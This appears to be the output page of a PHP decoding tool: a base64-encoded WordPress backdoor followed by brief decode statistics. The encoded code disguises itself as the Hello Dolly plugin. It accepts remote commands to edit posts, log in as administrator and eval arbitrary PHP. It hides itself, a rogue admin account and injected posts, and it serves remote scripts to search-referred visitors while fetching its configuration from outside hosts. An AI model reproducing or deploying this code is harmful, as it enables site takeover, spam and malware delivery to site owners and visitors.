JGRhdGEgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRkYXRhKSk7CgkKCWlmKCRkYXRhWydob3N0J10gIT09ICRfU0VSVkVSWydIVFRQX0hPU1QnXSl7CgkJZGllKCk7Cgl9CgkKCSRHTE9CQUxTWyJoZWxsb19kYXRhIl0gPSAkZGF0YTsKCglzd2l0Y2ggKCRkYXRhWydhY3Rpb24nXSkgewoKCQljYXNlICJkZWxldGVfcG9zdCI6CgoJCQlhZGRfYWN0aW9uKCAnd3BfbG9hZGVkJywgJ2hlbGxvX2RlbGV0ZV9wb3N0JyApOwoKCQkJZnVuY3Rpb24gaGVsbG9fZGVsZXRlX3Bvc3QoKXsKICAgICAgICAJCQogICAgICAgIAkJJHBvc3RfaWQgPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2lkJ107CiAgICAgICAgCQkkcmVzdWx0ID0gd3BfZGVsZXRlX3Bvc3QoICRwb3N0X2lkLCB0cnVlICk7CQoKICAgICAgICAJCWlmKCRyZXN1bHQtPklEID09ICRwb3N0X2lkKXsKICAgICAgICAJCQkkYWxsX3Bvc3RzID0gZ2V0X29wdGlvbignbmV0X3R5cGUnLGFycmF5KDApKTsKCQkJCQlpZigoJGtleSA9IGFycmF5X3NlYXJjaCgkcG9zdF9pZCwkYWxsX3Bvc3RzKSkgIT09IEZBTFNFKXsKICAgIAkJCQkJIHVuc2V0KCRhbGxfcG9zdHNbJGtleV0pOwoJCQkJCX0KCQkJCQl1cGRhdGVfb3B0aW9uKCduZXRfdHlwZScsJGFsbF9wb3N0cyk7CiAgICAgICAgCQkJZGllKCcyMDAgT0snKTsKICAgICAgICAJCX0gZWxzZSB7CiAgICAgICAgCQkJZGllKCc0MDAgcG9zdCBkZWxldGUgZXJyb3InKTsKICAgICAgICAJCX0KICAgICAgICAJfQoKCQlicmVhazsKCgkJY2FzZSAidXBkYXRlX3Bvc3QiOgogICAgICAgIAkKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb191cGRhdGVfcG9zdCcgKTsKCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX3VwZGF0ZV9wb3N0KCl7CiAgICAgICAgCQogICAgICAgIAkJJHBvc3RfZGF0YSA9IGdldF9wb3N0KCAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2lkJ10sIEFSUkFZX0EpOwoKICAgICAgICAJCSRwb3N0X2RhdGFbJ3Bvc3RfY29udGVudCddICA9ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfY29udGVudCddOwoJCQkJCgkJCQkkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCAkcG9zdF9kYXRhLHRydWUgICk7CgkJCQkKCQkJCWlmKCBpc193cF9lcnJvcigkcG9zdF9pZCkgKXsKCQkJCQllY2hvICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpOwoJCQkJCWRpZSgpOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJPSyI7CgkJCQkJZGllKCk7CgkJCQl9CgkJCX0KCiAgICAgICAgYnJlYWs7CgoJCWNhc2UgIm5ld19wb3N0IjoKCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fbmV3X3Bvc3QnICk7CgogICAgICAgIAlmdW5jdGlvbiBoZWxsb19uZXdfcG9zdCgpewogICAgICAgIAkKICAgICAgICAJCSRwb3N0X2RhdGEgPSBhcnJheSgKCQkJCSdwb3N0X3RpdGxlJyAgICA9PiB3cF9zdHJpcF9hbGxfdGFncyggJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF90aXRsZSddICksCgkJCQkncG9zdF9jb250ZW50JyAgPT4gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9jb250ZW50J10sCgkJCQkncG9zdF9zdGF0dXMnICAgPT4gJ3B1Ymxpc2gnLAoJCQkJJ3Bvc3RfdHlwZScgICAgID0+ICdwYWdlJywKCQkJCSk7CgoJCQkJJHBvc3RfaWQgPSB3cF9pbnNlcnRfcG9zdCggJHBvc3RfZGF0YSx0cnVlICApOwoJCQkJCgkJCQlpZiggaXNfd3BfZXJyb3IoJHBvc3RfaWQpICl7CgkJCQkJZWNobyAkcG9zdF9pZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKTsKCQkJCQlkaWUoKTsKCgkJCQl9IGVsc2UgewoJCQkJCSRhbGxfcG9zdHMgPSBnZXRfb3B0aW9uKCduZXRfdHlwZScsYXJyYXkoMCkpOwoJCQkJCSRhbGxfcG9zdHNbXSA9ICRwb3N0X2lkOwoJCQkJCXVwZGF0ZV9vcHRpb24oJ25ldF90eXBlJywkYWxsX3Bvc3RzKTsKCQkJCQkkcmVzWydwZXJtYWxpbmsnXSA9IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpOwoJCQkJCSRyZXNbJ0lEJ10gPSAkcG9zdF9pZDsKCQkJCQkkcmVzWydwb3N0X3RpdGxlJ10gPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X3RpdGxlJ107CgkJCQkJZWNobyBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7CgkJCQkJZGllKCk7CgkJCQl9CgkJCX0KCiAgICAgICAgYnJlYWs7CgoJCWNhc2UgImdldF9hbGxfcG9zdHMiOgogICAgICAgIAkKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19nZXRfYWxsX3Bvc3RzJyApOwogICAgICAgIAkKICAgICAgICAJZnVuY3Rpb24gaGVsbG9fZ2V0X2FsbF9wb3N0cyAoKXsKICAgICAgICAJCQogICAgICAgIAkJJGFyZ3MgPSBhcnJheSggJ3Bvc3RfdHlwZScgPT4gJ2FueScsJ251bWJlcnBvc3RzJyA9PiAtMSwpOwogICAgICAgIAkJJHpvcGEgPSBnZXRfcG9zdHMoJGFyZ3MpOwoJCQkJJHJlcyA9IGFycmF5KCk7CgkJCQoJCQkJZm9yZWFjaCAoJHpvcGEgYXMgJHQpIHsKCQoJCQkJCSRpZCA9ICR0LT5JRDsKCQkJCQkkdG1wWydJRCddID0gJGlkOwoJCQkJCSRwZXJtYWxpbmsgPSAgZ2V0X3Blcm1hbGluaygkaWQpOwoJCQkJCSR0bXBbJ3Blcm1hbGluayddID0gJHBlcm1hbGluazsKCQkJCQkkcG9zdF90aXRsZSA9ICAkdC0+cG9zdF90aXRsZTsKCQkJCQkkdG1wWydwb3N0X3RpdGxlJ10gPSAkcG9zdF90aXRsZTsKCQkJCQkkcmVzW10gPSAkdG1wOwoJCQkJCXVuc2V0KCR0bXApOwoJCQkJfQoJCQkJCgkJCQllY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKCQkJCWRpZSgpOwogICAgICAgIAl9CgogICAgICAgIGJyZWFrOwoKCgkJY2FzZSAiZ2V0X3Bvc3QiOgoKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19nZXRfcG9zdCcgKTsKICAgICAgICAJCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX2dldF9wb3N0ICgpewoKICAgICAgICAJCSRwb3N0X2lkID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddOwogICAgICAgIAkJJHBvc3QgPSBnZXRfcG9zdCggJHBvc3RfaWQsIEFSUkFZX0EpOwogICAgICAgIAkJJHJlc1sncG9zdF90aXRsZSddID0gJHBvc3RbJ3Bvc3RfdGl0bGUnXTsKICAgICAgICAJCSRyZXNbJ3Bvc3RfY29udGVudCddID0gJHBvc3RbJ3Bvc3RfY29udGVudCddOwogICAgICAgIAkJJHJlc1snSUQnXSA9ICRwb3N0WydJRCddOwoKICAgICAgICAJCWVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoJCQkJZGllKCk7CiAgICAgICAgCX0KCiAgICAgICAgYnJlYWs7CgoKCQljYXNlICJsb2dpbiI6CgoJCQlhZGRfYWN0aW9uKCAncGx1Z2luc19sb2FkZWQnLCAnaGVsbG9fbG9naW4nICk7CgkJCQkKCQkJZnVuY3Rpb24gaGVsbG9fbG9naW4oKSB7CgkJCQoJCQkgICAJJHVzZXJzID0gZ2V0X3VzZXJzKCBhcnJheSgKCQkJCSdyb2xlJyAgID0+ICdhZG1pbmlzdHJhdG9yJywKCQkJCQoJCQkJKSApOwoJCQkJJGlkcyA9IHdwX2xpc3RfcGx1Y2soICR1c2VycywgJ0lEJyApOwoJCQkKCQkJCSRpZCA9ICRpZHNbJzAnXTsKICAgICAgICAJCiAgICAgICAgCQl3cF9zZXRfYXV0aF9jb29raWUoICRpZCApOwogICAgICAgIAkJaGVhZGVyKCdMb2NhdGlvbjogd3AtYWRtaW4vJyk7CiAgICAgICAgCQlkaWUoKTsKICAgICAgICAJfQoKICAgICAgICBicmVhazsKICAgICAgICAKICAgICAgICBjYXNlICJleGVjIjoKCiAgICAgICAgCWV2YWwoJGRhdGFbJ2NvZGUnXSk7CgogICAgICAgIGJyZWFrOyAgICAgICAKCgogICAgfQoKfQoKYWRkX2ZpbHRlciggJ2FsbF9wbHVnaW5zJywgJ2ZpbHRlcl9mdW5jdGlvbl9uYW1lX2hlbGxvJyApOwoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfaGVsbG8oICRhbGxfcGx1Z2lucyApewoJCgkkcGx1ZyA9IGdldF9oZWxsb19maWxlKCk7CQkJCgl1bnNldCgkYWxsX3BsdWdpbnNbJHBsdWddKTsKCXJldHVybiAkYWxsX3BsdWdpbnM7Cn0KCmFkZF9maWx0ZXIoICdhZG1pbl9wcmludF9mb290ZXJfc2NyaXB0cycsICdkaXNhYmxlX3BsdWdpbl9zZWxlY3QnICk7CgpmdW5jdGlvbiBkaXNhYmxlX3BsdWdpbl9zZWxlY3QoICRhY3Rpb25zICl7CgoJJHBsdWcgPSBnZXRfaGVsbG9fZmlsZSgpOwoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCQkkKCIjcGx1Z2luIG9wdGlvblt2YWx1ZT0nPD9waHAgZWNobyAkcGx1ZzsgPz4nXSIpLiByZW1vdmUoKTsKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2hpZGVfZG9sbHlfcG9zdCcgKTsKCmZ1bmN0aW9uIGhpZGVfZG9sbHlfcG9zdCggJGFjdGlvbnMgKXsKCT8+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CglqUXVlcnkoZnVuY3Rpb24oJCl7Cgk8P3BocAkKCSRhbGxfcG9zdHMgPSBnZXRfb3B0aW9uKCduZXRfdHlwZScsYXJyYXkoMCkpOwoJJHQgPSAnJzsKCWZvcmVhY2ggKCRhbGxfcG9zdHMgYXMgJGlkKSB7CgkJJHQgPSAkdCAuICckKCIjcG9zdC0nLiRpZC4nIikucmVtb3ZlKCk7Jy4iXG4iOyAKCX0KCQoJZWNobyAiJHQiOwoJCgk/PgoJCgl9KTsKCTwvc2NyaXB0PgoJPD9waHAKfQoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2hpZGVfZG9sbHknICk7CgpmdW5jdGlvbiBoaWRlX2RvbGx5ICggJGFjdGlvbnMgKXsKCgk/PgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJalF1ZXJ5KGZ1bmN0aW9uKCQpewoKCQkkKCd0cjpjb250YWlucygibWRfZGVmcyIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJuZXRfdHlwZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJkb21haW5fY2RuX3VzYWdlIiknKS4gcmVtb3ZlKCk7CgkJJCgndHI6Y29udGFpbnMoInBvZG1vdG9yX2ZpbGVfcGF0aCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJjdXJyZW50X3ZhciIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJtYWlscnVHZXRVc2VyRGF0YVVSTCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJub3dfcGx1czJoX2R0IiknKS4gcmVtb3ZlKCk7CgkJJCgndHI6Y29udGFpbnMoIndvb21sX3RhYl9sYWJlbCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJhdHRlbnRpb24iKScpLiByZW1vdmUoKTsKCQkkKCd0cjpjb250YWlucygicG9wdGluQmFzZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJsZWF2ZURpYWdub3N0aWNzVHlwZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJSaWNoX1dlYl9SaWNoU2xfTFRfVCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJmcm9tX2ZpbGUiKScpLiByZW1vdmUoKTsKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgpmdW5jdGlvbiBoZWxsb19yZWYoKXsKCglpZighaXNzZXQoJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKSl7IHJldHVybiBmYWxzZTt9CgkkciA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKTsKCglpZihzdHJsZW4oJHIpIDwgMTApIHsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCSRkID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOwoJJHBvcyA9IHN0cnBvcygkciwgJGQpOwoJCglpZiAoJHBvcyA9PT0gZmFsc2UpIHsKCQlyZXR1cm4gdHJ1ZTsKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgpmdW5jdGlvbiBoZWxsb19jb29raWUoKXsKCgkJaWYoY291bnQoJF9DT09LSUUpID4gMCl7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIGhlbGxvX3VhKCl7CgkKCSRhcnJheSA9IGFycmF5KCdhaHJlZnMnLCdhc3RlcmlhcycsJ2JhY2tkb29yYm90LzEuMCcsJ2JhaWR1c3BpZGVyJywnYmluZ2JvdCcsJ2JpbmdwcmV2aWV3JywnYmxhY2sgaG9sZScsJ2Jsb3dmaXNoLzEuMCcsJ2JvdGFsb3QnLCdidWlsdGJvdHRvdWdoJywnYnVsbHNleWUvMS4wJywnYnVubnlzbGlwcGVycycsJ2NlZ2JmZWllaCcsJ2NoZWVzZWJvdCcsJ2NoZXJyeXBpY2tlcicsJ2NvcHlyaWdodGNoZWNrJywnY29zbW9zJywnY3Jlc2NlbnQnLCdkaXR0b3NweWRlcicsJ2RvdGJvdCcsJ2R1Y2tkdWNrYm90JywnZW1haWxjb2xsZWN0b3InLCdlbWFpbHNpcGhvbicsJ2VtYWlsd29sZicsJ2Vyb2NyYXdsZXInLCdleHRyYWN0b3Jwcm8nLCdmYWNlYm9va2V4dGVybmFsaGl0JywnZm9vYm90JywnZ29vZ2xlYm90JywnZ29vZ2xlaW1hZ2Vwcm94eScsJ2hhcnZlc3QnLCdobG9hZGVyJywnaHR0cGxpYicsJ2h1bWFubGlua3MnLCdpYV9hcmNoaXZlcicsJ2luZm9uYXZpcm9ib3QnLCdqZW5ueWJvdCcsJ2pvYmJvZXJzZScsJ2tlbmppbiBzcGlkZXInLCdrZXl3b3JkIGRlbnNpdHkvMC45JywnbGV4aWJvdCcsJ2xpYndlYi9jbHNodHRwJywnbGlua2V4dHJhY3RvcnBybycsJ2xpbmtzY2FuJywnbGlua3dhbGtlcicsJ2x3cC10cml2aWFsJywnbWF0YSBoYXJpJywnbWVkaWFwYXJ0bmVycycsJ21lZ2FpbmRleCcsJ21pY3Jvc29mdCB1cmwgY29udHJvbCcsJ21paXhwYycsJ21paXhwYy80LjInLCdtaXN0ZXIgcGl4JywnbWoxMmJvdCcsJ21vZ2V0JywnYnVsbHNleWUnLCdtc25ib3QnLCduZXRhbnRzJywnbmV0bWVjaGFuaWMnLCduaWNlcnNwcm8nLCdvZmZsaW5lIGV4cGxvcmVyJywnb3BlbmZpbmQnLCdvcGVuc2l0ZWV4cGxvcmVyJywncHJvcG93ZXJib3QnLCdwcm93ZWJ3YWxrZXInLCdxdWVyeW4gbWV0YXNlYXJjaCcsJ3JlcG9tb25rZXknLCdybWEnLCdzZW1ydXNoJywnc2l0ZXNuYWdnZXInLCdzbHVycCcsJ3NvZ291Jywnc3Bhbmtib3QnLCdzcGFubmVyJywnc3V6dXJhbicsJ3N6dWthY3ovMS40JywndGVsZXBvcnQnLCd0ZWxlc29mdCcsJ3RoZSBpbnRyYWZvcm1hbnQnLCd0aGVub21hZCcsJ3RpZ2h0dHdhdGJvdCcsJ3RpdGFuJywndG9jcmF3bC91cmxkaXNwYXRjaGVyJywndHJ1ZV9yb2JvdCcsJ3R1cmluZ29zJywndXJseSB3YXJuaW5nJywndmNpJywnd2ViYXV0bycsJ3dlYmJhbmRpdCcsJ3dlYmNvcGllcicsJ3dlYmVuaGFuY2VyJywnd2ViIGltYWdlIGNvbGxlY3RvcicsJ3dlYm1hc3RlcndvcmxkZm9ydW1ib3QnLCd3ZWJzYXVnZXInLCd3ZWJzaXRlIHF1ZXN0ZXInLCd3ZWJzdGVyIHBybycsJ3dlYnN0cmlwcGVyJywnd2ViemlwJywnd2dldCcsJ3d3dy1jb2xsZWN0b3ItZScsJ3hlbnUnLCd5YW5kZXhib3QnLCd6ZXVzJyk7CgkKCWlmKCFpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCSR1YSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsKCQoJZm9yZWFjaCAoJGFycmF5IGFzICRiYWQpIHsKCQlpZihzdHJwb3MoJHVhLCB0cmltKCRiYWQpKSl7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9CgoJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIGhlbGxvX3NjcmlwdHNfbWV0aG9kKCkgewoJCgkkb3B0aW9ucyA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignZG9tYWluX2Nkbl91c2FnZScpKSk7CgoJJHN1YnMgPSAkb3B0aW9uc1snc3VicyddW2FycmF5X3JhbmQoJG9wdGlvbnNbJ3N1YnMnXSwgMSldOwoJZm9yZWFjaCAoYXJyYXlfcmFuZCgkb3B0aW9uc1snbm9kZXMnXSwgMykgYXMgJG5vZGUpIHsKCQkkeiA9ICRvcHRpb25zWydub2RlcyddWyRub2RlXTsKCQl3cF9lbnF1ZXVlX3NjcmlwdCgnaGVsbG9fbmV3c2NyaXB0JyAuICRub2RlLCAkeiAuICdjb3VudC5waHA/cz0nIC4gJHN1YnMpOwoJfQogICAgIAp9CgoKCmZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSkgewoJaWYoODggPT0gc3RybGVuKCRrZXkpKXsKCQlpZiAodHJ1ZSA9PT0gaGVsbG9fY2hlY2tfc2lnKCRrZXksJHZhbHVlKSl7CgkJCWhlbGxvX2FjdGlvbigkdmFsdWUpOwoJCX0KCX0KfQoKCmlmICggaGVsbG9fcmVmKCkgJiYgaGVsbG9fY29va2llKCkgJiYgaGVsbG9fdWEoKSApewoKYWRkX2FjdGlvbiggJ3dwX2VucXVldWVfc2NyaXB0cycsICdoZWxsb19zY3JpcHRzX21ldGhvZCcgKTsKCn0KCgoKZnVuY3Rpb24gZG9sbHlfY3JvbigpewoJJG9wdGlvbnMgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKGdldF9vcHRpb24oJ2RvbWFpbl9jZG5fdXNhZ2UnKSkpOwoJc2h1ZmZsZSgkb3B0aW9uc1snbm9kZXMnXSk7CgkKCWZvcmVhY2ggKCRvcHRpb25zWydub2RlcyddIGFzICRub2RlX3VybCkgewoJCSRyZXF1ZXN0ID0gd3Bfc2FmZV9yZW1vdGVfZ2V0KCAnaHR0cDonIC4gJG5vZGVfdXJsIC4gJ2RhdGEudHh0JyApOwogCQlpZiAoIGlzX3dwX2Vycm9yKCAkcmVxdWVzdCApICkgewogICAgCQljb250aW51ZTsKCQl9CgogCQkkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCAkcmVxdWVzdCApOwogCQogCQkkdG1wID0gZXhwbG9kZSgiXG4iLCAkYm9keSk7CiAJCWlmKGhlbGxvX2NoZWNrX3NpZygkdG1wWzBdLCR0bXBbMV0pKXsKIAkJCXVwZGF0ZV9vcHRpb24oJ2RvbWFpbl9jZG5fdXNhZ2UnLCR0bXBbMV0pOwogCQkJcmV0dXJuIHRydWU7CiAJCX0KCX0KfQoKZnVuY3Rpb24gd3RmX2RvbGx5KCkgewogICAgaWYoZGVmaW5lZCgnRElTQUJMRV9XUF9DUk9OJykpewogICAgCWlmKERJU0FCTEVfV1BfQ1JPTiA9PSB0cnVlKXsKICAgIAkJJGxhc3RfdGltZSA9IGdldF9vcHRpb24oJ3BvZG1vdG9yX2ZpbGVfcGF0aCcpOwogICAgCQlpZigkbGFzdF90aW1lICsgODY0MDAgPCB0aW1lKCkpewogICAgCQkJdXBkYXRlX29wdGlvbigncG9kbW90b3JfZmlsZV9wYXRoJyx0aW1lKCkpOwogICAgCQkJZG9sbHlfY3JvbigpOwogICAgCQl9CiAgICAJfQogICAgfSBlbHNlIHsKICAgIAlpZiAoICF3cF9uZXh0X3NjaGVkdWxlZCggJ2RvbGx5X2V2ZW50JyApICkgewogICAgICAgIAl3cF9zY2hlZHVsZV9ldmVudCggdGltZSgpLCAnZGFpbHknLCAnZG9sbHlfZXZlbnQnICk7CgkJfQoJfQp9CgphZGRfYWN0aW9uKCAnaW5pdCcsICd3dGZfZG9sbHknKTsKCmFkZF9hY3Rpb24oICdkb2xseV9ldmVudCcsICdkb2xseV9jcm9uJyk7CgoKZnVuY3Rpb24geW91cnNpdGVfcHJlX3VzZXJfcXVlcnkoJHVzZXJfc2VhcmNoKSB7CiAgIGdsb2JhbCAkY3VycmVudF91c2VyOwogICBpZiAoICEgZW1wdHkoICRjdXJyZW50X3VzZXIgKSApIHsKCQkkdXNlcm5hbWUgPSAkY3VycmVudF91c2VyLT51c2VyX2xvZ2luOwoJCWlmICgkdXNlcm5hbWUgIT0gJ2ZiOTRjJykgeyAKCQkJZ2xvYmFsICR3cGRiOwoJCQkkdXNlcl9zZWFyY2gtPnF1ZXJ5X3doZXJlID0gc3RyX3JlcGxhY2UoJ1dIRVJFIDE9MScsICJXSEVSRSAxPTEgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJ2ZiOTRjJyIsJHVzZXJfc2VhcmNoLT5xdWVyeV93aGVyZSk7CgkJfQoJfQp9CgphZGRfYWN0aW9uKCdwcmVfdXNlcl9xdWVyeScsJ3lvdXJzaXRlX3ByZV91c2VyX3F1ZXJ5Jyk7CgoKCmZ1bmN0aW9uIGR0X2xpc3RfdGFibGVfdmlld3MoJHZpZXdzKXsKICAgJHVzZXJzID0gY291bnRfdXNlcnMoKTsKICAgJGFkbWluc19udW0gPSAkdXNlcnNbJ2F2YWlsX3JvbGVzJ11bJ2FkbWluaXN0cmF0b3InXSAtIDE7CiAgICRhbGxfbnVtID0gJHVzZXJzWyd0b3RhbF91c2VycyddIC0gMTsKICAgJGNsYXNzX2FkbSA9ICggc3RycG9zKCR2aWV3c1snYWRtaW5pc3RyYXRvciddLCAnY3VycmVudCcpID09PSBmYWxzZSApID8gIiIgOiAiY3VycmVudCI7CiAgICRjbGFzc19hbGwgPSAoIHN0cnBvcygkdmlld3NbJ2FsbCddLCAnY3VycmVudCcpID09PSBmYWxzZSApID8gIiIgOiAiY3VycmVudCI7CiAgICR2aWV3c1snYWRtaW5pc3RyYXRvciddID0gJzxhIGhyZWY9InVzZXJzLnBocD9yb2xlPWFkbWluaXN0cmF0b3IiIGNsYXNzPSInIC4gJGNsYXNzX2FkbSAuICciPicgLiB0cmFuc2xhdGVfdXNlcl9yb2xlKCdBZG1pbmlzdHJhdG9yJykgLiAnIDxzcGFuIGNsYXNzPSJjb3VudCI+KCcgLiAkYWRtaW5zX251bSAuICcpPC9zcGFuPjwvYT4nOwogICAkdmlld3NbJ2FsbCddID0gJzxhIGhyZWY9InVzZXJzLnBocCIgY2xhc3M9IicgLiAkY2xhc3NfYWxsIC4gJyI+JyAuIF9fKCdBbGwnKSAuICcgPHNwYW4gY2xhc3M9ImNvdW50Ij4oJyAuICRhbGxfbnVtIC4gJyk8L3NwYW4+PC9hPic7CiAgIHJldHVybiAkdmlld3M7Cn0KCmFkZF9maWx0ZXIoInZpZXdzX3VzZXJzIiwgImR0X2xpc3RfdGFibGVfdmlld3MiKTs=

Function Calls

None

Variables

None

Stats

MD5 48bc7c2f217744220abe55be2a3fbc86
Eval Count 0
Decode Time 230 ms